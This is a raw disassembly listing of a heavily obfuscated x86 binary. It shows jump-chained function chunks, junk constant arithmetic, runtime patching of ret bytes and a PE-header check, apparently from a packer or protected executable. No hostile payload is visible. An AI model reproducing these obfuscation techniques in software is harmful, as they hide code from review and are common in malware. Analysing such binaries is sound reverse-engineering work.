loc_43C186:				; CODE XREF: kgbikm34:00443FECj
		jmp	loc_43ABCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444240

loc_43C18B:				; CODE XREF: sub_444240-16A9j
		jmp	sub_442435
; END OF FUNCTION CHUNK	FOR sub_444240

; =============== S U B	R O U T	I N E =======================================



sub_43C190	proc near		; CODE XREF: sub_43C17Bp
					; sub_43B1D6:loc_445A08j ...
		call	sub_444296

locret_43C195:				; CODE XREF: sub_43D373:loc_44334Bj
		retn
sub_43C190	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447B4A

loc_43C196:				; CODE XREF: sub_447B4A-7005j
		jmp	loc_445645
; END OF FUNCTION CHUNK	FOR sub_447B4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_43C19B:				; CODE XREF: sub_43ACD5+9249j
		jnz	loc_438483
		jmp	loc_4480C8
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B2CF

loc_43C1A6:				; CODE XREF: sub_43B2CF:loc_43D8E6j
		mov	eax, [ebp+var_4]
		mov	al, [eax]
		jno	loc_442201
		sub	al, 99h
		push	offset sub_4471A4
		jmp	nullsub_28
; END OF FUNCTION CHUNK	FOR sub_43B2CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4489C5

loc_43C1BD:				; CODE XREF: sub_4489C5-53CCj
		test	ecx, eax
		jmp	loc_44BA4B
; END OF FUNCTION CHUNK	FOR sub_4489C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D4E9

loc_43C1C4:				; CODE XREF: sub_43D4E9:loc_44D12Dj
		sub	edx, 96C29230h
		test	edx, 8000h
		jmp	loc_43E975
; END OF FUNCTION CHUNK	FOR sub_43D4E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9CE

loc_43C1D5:				; CODE XREF: sub_44D9CE:loc_439C4Dj
					; sub_44D9CE+3BDj
		push	3820610Bh
		xchg	ebp, [esp+4+var_4]
		mov	eax, ebp
		pop	ebp
		or	eax, 34573748h
		rol	eax, 10h
		and	eax, 0FB8B6582h
		jmp	loc_44C31C
; END OF FUNCTION CHUNK	FOR sub_44D9CE

; =============== S U B	R O U T	I N E =======================================



sub_43C1F4	proc near		; CODE XREF: sub_448CCA-1286p
					; kgbikm34:0044C016j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043DCDF SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00444D63 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0044C980 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CE8C SIZE 00000006 BYTES

		xchg	edx, [esp+0]
		pop	edx
		xchg	ecx, [esp-4+arg_0]
		push	esi
		push	99AFCBC3h
		pop	esi
		jmp	loc_444D63
sub_43C1F4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C207	proc near		; CODE XREF: sub_4432EF+5p
					; kgbikm34:0044A13Ej

; FUNCTION CHUNK AT 00440BDA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00441798 SIZE 0000000E BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, edx
		push	ebx
		push	898213FCh
		pop	ebx
		rol	ebx, 1
		jmp	loc_441798
sub_43C207	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BB9F

loc_43C21B:				; CODE XREF: sub_44BB9F:loc_44C7A1j
		xchg	edi, [ebx]
		jnz	loc_44179E
		jmp	loc_442106
; END OF FUNCTION CHUNK	FOR sub_44BB9F
; ---------------------------------------------------------------------------
		shl	ebp, 1
		jmp	loc_43EBDB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439852

loc_43C22F:				; CODE XREF: sub_439852:loc_43CDE4j
		or	edi, 635D6459h
		xor	edi, 138014A0h
		add	edi, 13664F6Ah
		xchg	edi, [esp+4+var_4]
		jmp	loc_43AFEE
; END OF FUNCTION CHUNK	FOR sub_439852
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438B99

loc_43C249:				; CODE XREF: sub_438B99:loc_43F02Aj
		lea	eax, nullsub_2
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_2
; END OF FUNCTION CHUNK	FOR sub_438B99

; =============== S U B	R O U T	I N E =======================================



sub_43C257	proc near		; CODE XREF: sub_4151C8:loc_4152A6p
					; sub_43C257+5j
					; DATA XREF: ...
		call	sub_43C267
		jmp	ds:off_41E140
sub_43C257	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F5F7

loc_43C262:				; CODE XREF: sub_43F5F7+6j
		jmp	loc_444573
; END OF FUNCTION CHUNK	FOR sub_43F5F7

; =============== S U B	R O U T	I N E =======================================



sub_43C267	proc near		; CODE XREF: sub_43C257p
					; kgbikm34:loc_441275j	...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043733E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A8DC SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0043C92E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0043D9AE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043E989 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 004423B8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00445D97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044757C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00447938 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0044D7CB SIZE 0000000C BYTES

		pop	edx
		jns	loc_44757C
		jmp	loc_445D97
sub_43C267	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		jo	loc_448FCF
		jmp	loc_440F97
; ---------------------------------------------------------------------------

loc_43C27E:				; DATA XREF: kgbikm34:0043B3F6o
		mov	byte ptr [eax],	0C3h
		jmp	sub_4458AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4458AD

loc_43C286:				; CODE XREF: sub_4458AD-A842j
		mov	eax, [esp+0]
		push	eax
		mov	eax, edx
		xchg	eax, [esp+0]
		push	edi
		push	51779517h
		pop	edi
		jmp	loc_440DDE
; END OF FUNCTION CHUNK	FOR sub_4458AD
; ---------------------------------------------------------------------------

loc_43C29B:				; CODE XREF: kgbikm34:004377B2j
		jnb	loc_44158B

; =============== S U B	R O U T	I N E =======================================



sub_43C2A1	proc near		; CODE XREF: sub_442B15:loc_447429p
		xchg	ebx, [esp+0]
		pop	ebx
		lea	eax, nullsub_3
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_3
sub_43C2A1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447135

loc_43C2B3:				; CODE XREF: sub_447135-CDE8j
		call	sub_44D7B4
		mov	eax, 0E211C416h
		call	sub_440F62
		mov	ds:off_41E214, eax
		lea	eax, loc_44ACE0
		jmp	loc_43A5C8
; END OF FUNCTION CHUNK	FOR sub_447135
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FA71

loc_43C2D3:				; CODE XREF: sub_43FA71+D54Fj
		test	ebx, ebp

loc_43C2D5:				; CODE XREF: kgbikm34:0043B0FAj
		jmp	loc_440D57
; END OF FUNCTION CHUNK	FOR sub_43FA71

; =============== S U B	R O U T	I N E =======================================



sub_43C2DA	proc near		; CODE XREF: sub_441D2F-A8A2p
					; kgbikm34:00443316j

; FUNCTION CHUNK AT 004384F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004389DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B204 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043C876 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044A844 SIZE 0000000A BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		push	eax
		push	eax
		mov	edx, eax
		jmp	loc_43B204
sub_43C2DA	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440F62

loc_43C2E7:				; CODE XREF: sub_440F62j
		push	9705847h
		pop	edx
		rol	edx, 1Ah
		jmp	loc_43E2C1
; END OF FUNCTION CHUNK	FOR sub_440F62
; ---------------------------------------------------------------------------

loc_43C2F5:				; CODE XREF: kgbikm34:loc_4440F5j
		add	ecx, 7BFF35E5h
		jmp	loc_441310
; ---------------------------------------------------------------------------

loc_43C300:				; CODE XREF: kgbikm34:0044B25Ej
		jz	loc_43B37E
		jmp	loc_445655
; ---------------------------------------------------------------------------
		sub	edx, eax
		jmp	loc_44D860
; ---------------------------------------------------------------------------

loc_43C312:				; CODE XREF: kgbikm34:loc_443936j
		or	eax, 6E8AC157h
		add	eax, 897E55h
		mov	eax, [eax]
		or	eax, eax
		jmp	loc_43EBA0
; ---------------------------------------------------------------------------
		cmp	edx, 0F3B4541Fh
		jmp	loc_43745C

; =============== S U B	R O U T	I N E =======================================



sub_43C332	proc near		; CODE XREF: sub_438B99:loc_43F025p
					; kgbikm34:004410BEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0043C0F4 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00442E92 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AFB9 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044B924 SIZE 00000005 BYTES

		xchg	edi, [esp-4+arg_0]
		pop	edi

loc_43C336:				; CODE XREF: sub_439587:loc_44A398j
		pop	edx
		mov	eax, [esp+0]
		push	ebx
		jmp	loc_44B924
sub_43C332	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_43C340:				; CODE XREF: kgbikm34:0043D951j
		jno	loc_44417A

loc_43C346:				; CODE XREF: kgbikm34:00447BE2j
		or	esi, 123F827Eh
		cmp	esi, 54B6C4B3h
		jmp	loc_4478A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B47A

loc_43C357:				; CODE XREF: sub_44B47A:loc_44D7EEj
		call	sub_4466E3
		test	al, al
		jz	loc_43E283
		jmp	loc_442CC5
; END OF FUNCTION CHUNK	FOR sub_44B47A
; ---------------------------------------------------------------------------

loc_43C369:				; DATA XREF: sub_43DFE5:loc_448444o
		add	eax, [esp]
		adc	edx, [esp+4]
		add	esp, 8
		push	edi
		push	35767896h
		pop	edi
		add	edi, 784111CCh
		jmp	loc_43FF95
; ---------------------------------------------------------------------------

loc_43C385:				; CODE XREF: kgbikm34:0044345Fj
		pop	esi
		rol	esi, 14h
		sub	esi, 3398DCCEh
		or	esi, 731A727h
		add	esi, 0F0463998h
		jmp	loc_444F62
; ---------------------------------------------------------------------------

loc_43C3A0:				; CODE XREF: kgbikm34:0043FDD6j
		jl	loc_43756F
; START	OF FUNCTION CHUNK FOR sub_43E608

loc_43C3A6:				; CODE XREF: sub_43E608+Fj
		jmp	nullsub_295
; END OF FUNCTION CHUNK	FOR sub_43E608
; ---------------------------------------------------------------------------
		xchg	esi, [edx]
		mov	eax, ecx
		push	0B7E7E213h
		jmp	loc_43D89B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439DCD

loc_43C3B9:				; CODE XREF: sub_439DCD+1j
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		mov	[ebp-8], eax
		mov	eax, [ebp+8]
		jmp	loc_439C1C
; END OF FUNCTION CHUNK	FOR sub_439DCD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E135

loc_43C3CF:				; CODE XREF: sub_43E135+Cj
		xor	eax, 2A40B6BFh
		add	eax, 0DB1E92E0h
		xchg	eax, [esp+4+var_4]
		push	esi
		push	offset sub_43CA80
		jmp	loc_44BA5C
; END OF FUNCTION CHUNK	FOR sub_43E135
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_53. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43C3EA:				; CODE XREF: kgbikm34:loc_441F7Dj
		cmp	ecx, eax
		jmp	loc_445983
; ---------------------------------------------------------------------------

loc_43C3F1:				; CODE XREF: kgbikm34:0043B654j
		mov	eax, 7DA6ACC0h
		call	sub_43BF6F
		mov	ds:dword_41E108, eax
		lea	eax, nullsub_276
		jmp	loc_44D297
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449ED2

loc_43C40C:				; CODE XREF: sub_449ED2:loc_449EDDj
		jz	loc_4414C3

loc_43C412:				; CODE XREF: kgbikm34:0044128Aj
		jmp	nullsub_255
; END OF FUNCTION CHUNK	FOR sub_449ED2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439A2E

loc_43C417:				; CODE XREF: sub_439A2E+13F8j
		jmp	loc_43D586
; END OF FUNCTION CHUNK	FOR sub_439A2E
; ---------------------------------------------------------------------------
		pop	ebx
		jmp	loc_4414BD
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_43C423:				; CODE XREF: sub_44D21F-11734j
		jmp	loc_44A8D9
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
		dd 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C75F

loc_43C42C:				; CODE XREF: sub_44C75F+6j
		jmp	loc_4401A4
; END OF FUNCTION CHUNK	FOR sub_44C75F
; ---------------------------------------------------------------------------
		db 0EDh, 4Dh, 8Eh
; ---------------------------------------------------------------------------

loc_43C434:				; DATA XREF: sub_440E0B-3A55o
					; sub_439587+5F34o
		aad	0A6h
		inc	esi
		cli
		xor	ecx, [esp+ebx*2+36B146h]

loc_43C43F:				; CODE XREF: kgbikm34:loc_43E7AFj
					; kgbikm34:004499B4j
		jmp	locret_445FA4
; ---------------------------------------------------------------------------

loc_43C444:				; CODE XREF: kgbikm34:0043DB18j
		jmp	loc_44D4A8
; ---------------------------------------------------------------------------
		jno	loc_438935
		mov	edx, ds:dword_441C20
		push	offset loc_44767B
		jmp	locret_437909
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_76. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449CB4

loc_43C460:				; CODE XREF: sub_449CB4-12CDj
		jmp	sub_4457CB
; END OF FUNCTION CHUNK	FOR sub_449CB4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D632

loc_43C466:				; CODE XREF: sub_43D632+B25Dj
		jmp	loc_437914
; END OF FUNCTION CHUNK	FOR sub_43D632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_43C46B:				; CODE XREF: sub_43F145+4A43j
		js	loc_43C54C

loc_43C471:				; CODE XREF: sub_43F145+Dj
		add	ecx, 88D582D0h
		and	ecx, 0CFB45052h
		or	ecx, 0A3EDD60Bh
		jmp	loc_441993
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------

loc_43C488:				; CODE XREF: kgbikm34:00438FF6j
		sub	esi, 0A60F90AAh
		xor	esi, 0C6976B43h
		add	esi, 72BCC760h
		xchg	esi, [esp]
		jmp	loc_44AB2D
; ---------------------------------------------------------------------------

loc_43C4A2:				; CODE XREF: kgbikm34:loc_43CCB4j
		jz	loc_4438CA
		jmp	loc_445921
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440488

loc_43C4AD:				; CODE XREF: sub_440488:loc_439517j
		jz	loc_4482FB
		jmp	loc_43A497
; END OF FUNCTION CHUNK	FOR sub_440488
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_43C4B8:				; CODE XREF: sub_43DC9A:loc_441A2Bj
		jnz	loc_4454A6
		rol	ebx, 13h
		popf
		mov	ebx, 2B5D3F95h
		jmp	loc_4454A6
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9D6

loc_43C4CC:				; CODE XREF: sub_43C9D6:loc_44E0EDj
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		dec	eax
		test	eax, eax
		jl	loc_44BAF1
		inc	eax

loc_43C4DC:				; CODE XREF: sub_43FD1A:loc_43B88Dj
		mov	[ebp-1Ch], eax
		mov	dword ptr [ebp-18h], 0

loc_43C4E6:				; CODE XREF: kgbikm34:0043B107j
		jmp	loc_43E146
; END OF FUNCTION CHUNK	FOR sub_43C9D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4429A6

loc_43C4EB:				; CODE XREF: sub_4429A6:loc_43722Dj
		jnz	loc_446E15
; END OF FUNCTION CHUNK	FOR sub_4429A6
; START	OF FUNCTION CHUNK FOR sub_440443

loc_43C4F1:				; CODE XREF: sub_440443+Bj
		jmp	loc_4410C3
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------
		and	ebp, 0D2820769h
		jmp	loc_446E13
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_216. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_43C502:				; DATA XREF: sub_4458AD-4AB5o
		xchg	edi, [esp]
		jmp	loc_43E795
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BF6F

loc_43C50A:				; CODE XREF: sub_43BF6F+BE7Dj
		jnp	loc_4385AB
		test	ebx, 53A4FF34h
		jmp	loc_44C1E4
; END OF FUNCTION CHUNK	FOR sub_43BF6F
; ---------------------------------------------------------------------------

loc_43C51B:				; CODE XREF: kgbikm34:00441258j
		push	6820EB21h

loc_43C520:				; CODE XREF: kgbikm34:0044124Bj
		add	edi, 0CC04C86h
		xor	eax, edi
		pop	edi
		jmp	loc_441896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F0A5

loc_43C52E:				; CODE XREF: sub_43F0A5+Ej
		call	sub_440EFA

loc_43C533:				; CODE XREF: sub_4479B1+1E3Dj
		jmp	nullsub_126
; END OF FUNCTION CHUNK	FOR sub_43F0A5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_43C538:				; CODE XREF: sub_44649E+Ej
		jmp	loc_44BD70
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------

loc_43C53D:				; CODE XREF: kgbikm34:00440D04j
		mov	ds:off_41E0AC, eax
		lea	eax, loc_43DE85
		mov	byte ptr [eax],	0C3h
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_43C54C:				; CODE XREF: sub_43F145:loc_43C46Bj
		jmp	loc_448D21
; END OF FUNCTION CHUNK	FOR sub_43F145

; =============== S U B	R O U T	I N E =======================================



sub_43C551	proc near		; CODE XREF: sub_41A54C+78p
					; sub_43C551+5j
					; DATA XREF: ...
		call	sub_43C55C
		jmp	ds:off_41E0B0
sub_43C551	endp


; =============== S U B	R O U T	I N E =======================================



sub_43C55C	proc near		; CODE XREF: sub_43C551p sub_43C850+9j ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00438405 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438804 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 00438A32 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00439B2F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439F8A SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0043C85E SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0043CCAA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D8E0 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043DA5B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DD4A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0043E291 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0043F34E SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0044061B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004410E7 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00442C21 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00443A3B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044462A SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00444676 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444E2E SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00447B9E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00447DF1 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00449E34 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044A2E5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044A418 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0044AE70 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044B212 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044BA61 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044BC1B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C2FF SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044DC56 SIZE 00000016 BYTES

		pop	edx
		jnz	loc_43C85E
		mov	eax, [esp-4+arg_0]
		jmp	loc_44A418
sub_43C55C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_43C56B	proc near		; CODE XREF: sub_44649E:loc_447E3Cp
					; kgbikm34:0044B409j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043788B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A6B9 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0043D8B6 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00440FEA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004484A7 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-14h]
		push	eax
		push	edx
		mov	edx, edi
		xchg	edx, [esp+4+var_4]
		push	0A7DC20D7h
		jmp	loc_43788B
sub_43C56B	endp

; ---------------------------------------------------------------------------
		db 0Dh
dword_43C584	dd 0			; DATA XREF: sub_441711+6r
					; sub_442A46+7r ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C638

loc_43C588:				; CODE XREF: kgbikm34:00438780j
					; sub_43C638+91FBj
		jmp	loc_449973
; END OF FUNCTION CHUNK	FOR sub_43C638
; ---------------------------------------------------------------------------
		db 79h,	4Bh, 6Ch
dword_43C590	dd 77E805D8h		; DATA XREF: sub_44B8A2-3876r
					; sub_44B8A2+13w ...
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448E39

loc_43C594:				; CODE XREF: sub_448E39-628Dj
		jmp	nullsub_300
; END OF FUNCTION CHUNK	FOR sub_448E39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ABF4

loc_43C599:				; CODE XREF: sub_43ABF4+6A67j
		jmp	loc_4432A1
; END OF FUNCTION CHUNK	FOR sub_43ABF4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4494B1

loc_43C59E:				; CODE XREF: sub_4494B1-BC99j
		jmp	loc_43F1D3
; END OF FUNCTION CHUNK	FOR sub_4494B1
; ---------------------------------------------------------------------------

loc_43C5A3:				; CODE XREF: kgbikm34:0043B5A8j
		jmp	loc_44396F
; ---------------------------------------------------------------------------
dword_43C5A8	dd 1477E71Bh		; DATA XREF: sub_440BDFw
dword_43C5AC	dd 0C6E65DF9h		; DATA XREF: kgbikm34:loc_440576w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D494

loc_43C5B0:				; CODE XREF: sub_43D494+220Ej
		jmp	loc_441E61
; END OF FUNCTION CHUNK	FOR sub_43D494
; ---------------------------------------------------------------------------
		db 22h,	70h, 51h
dword_43C5B8	dd 0D34EFCC2h		; DATA XREF: sub_449893-F48r
					; kgbikm34:loc_448E7Cw
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44BBA8

loc_43C5BC:				; CODE XREF: sub_44BBA8+3j
		jmp	sub_437A59
; END OF FUNCTION CHUNK	FOR sub_44BBA8
; ---------------------------------------------------------------------------
		db 29h,	0D3h, 1Bh
dword_43C5C4	dd 0FCF4132Eh		; DATA XREF: sub_43A6C7+Cr
					; sub_43A6C7+2380w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B932

loc_43C5C8:				; CODE XREF: sub_43B932+CCE1j
		jmp	loc_43952C
; END OF FUNCTION CHUNK	FOR sub_43B932
; ---------------------------------------------------------------------------

loc_43C5CD:				; CODE XREF: kgbikm34:00447683j
		jmp	loc_4479CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A23

loc_43C5D2:				; CODE XREF: sub_444A23+13j
		jmp	loc_437632
; END OF FUNCTION CHUNK	FOR sub_444A23
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DFE5

loc_43C5D7:				; CODE XREF: sub_43DFE5+1F7Bj
		jmp	loc_448444
; END OF FUNCTION CHUNK	FOR sub_43DFE5
; ---------------------------------------------------------------------------

loc_43C5DC:				; CODE XREF: kgbikm34:004446F3j
		ror	edi, 6
		shl	esi, 13h
; START	OF FUNCTION CHUNK FOR sub_43DC42

loc_43C5E2:				; CODE XREF: sub_43DC42:loc_4446E0j
		add	edx, 0D2CD5BDFh
		xor	eax, edx
		pop	edx
		rol	eax, 0Eh
		mov	ds:dword_441024, eax
		jmp	loc_43DA6B
; END OF FUNCTION CHUNK	FOR sub_43DC42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DAB

loc_43C5F9:				; CODE XREF: sub_443DAB+4j
		mov	edx, ecx
		xchg	edx, [esp+4+var_4]
		push	ebp
		push	52D10159h
		pop	eax
		sub	eax, 3D4D59D2h
		add	eax, 0E4F029A1h
		add	eax, ebp
		jmp	loc_44434F
; END OF FUNCTION CHUNK	FOR sub_443DAB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C607

loc_43C618:				; CODE XREF: sub_44C607:loc_43A5C3j
		add	esi, 0ECD080h
		mov	[esi], eax
		pop	esi
		popf
		mov	eax, [ebp-18h]
		add	eax, 0EF0BF7C1h
		add	eax, 10F40857h
		mov	eax, [eax]
		jmp	loc_43F59E
; END OF FUNCTION CHUNK	FOR sub_44C607

; =============== S U B	R O U T	I N E =======================================



sub_43C638	proc near		; DATA XREF: sub_43AF95:loc_441E7Fo

; FUNCTION CHUNK AT 0043888A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A492 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043A506 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043C12B SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0043C588 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004402D4 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 00445820 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 004465EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00449973 SIZE 00000010 BYTES

		jz	loc_4402D4
		lea	eax, [ebp-125h]
		push	eax
		push	offset sub_444326
		jmp	loc_43A492
sub_43C638	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43C9D6

loc_43C64F:				; CODE XREF: sub_43C9D6+10j
		push	eax
		push	eax
		mov	edx, eax
		jmp	loc_44080C
; END OF FUNCTION CHUNK	FOR sub_43C9D6
; ---------------------------------------------------------------------------

loc_43C658:				; CODE XREF: kgbikm34:00449217j
		mov	edx, ds:dword_442F38
		push	offset loc_44A302
		jmp	loc_44CCCF
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_368. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_43C669:				; CODE XREF: sub_439587+EA5Fj
		jmp	loc_449EF6
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------

loc_43C66E:				; DATA XREF: sub_440443-8EB7o
		mov	[edi], eax
		pop	edi
		mov	eax, [ebp-4]
		cmp	dword ptr [eax], 4550h
		jnz	loc_437475
		jmp	loc_43A1E3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B172

loc_43C685:				; CODE XREF: sub_43B172:loc_43B180j
		lea	eax, nullsub_236
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_236
; END OF FUNCTION CHUNK	FOR sub_43B172
; ---------------------------------------------------------------------------
		pop	edx
		mov	eax, [esp]
		push	edx
		call	sub_43D9B3
		push	0F5962E17h
		jmp	loc_442087
; ---------------------------------------------------------------------------

loc_43C6A7:				; CODE XREF: kgbikm34:0043EED2j
		jo	loc_44D59C
		and	edi, edx
		shl	eax, 4
		jbe	loc_43F395
		jmp	loc_44AB6F
; ---------------------------------------------------------------------------

loc_43C6BD:				; DATA XREF: sub_443AFD+52CEo
		lea	eax, loc_43CDE9
		mov	byte ptr [eax],	0C3h
		jmp	loc_43CDE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_43C6CB:				; CODE XREF: sub_443AFD-6D13j
		mov	eax, [esp+0]
		push	esi
		jmp	loc_44A21B
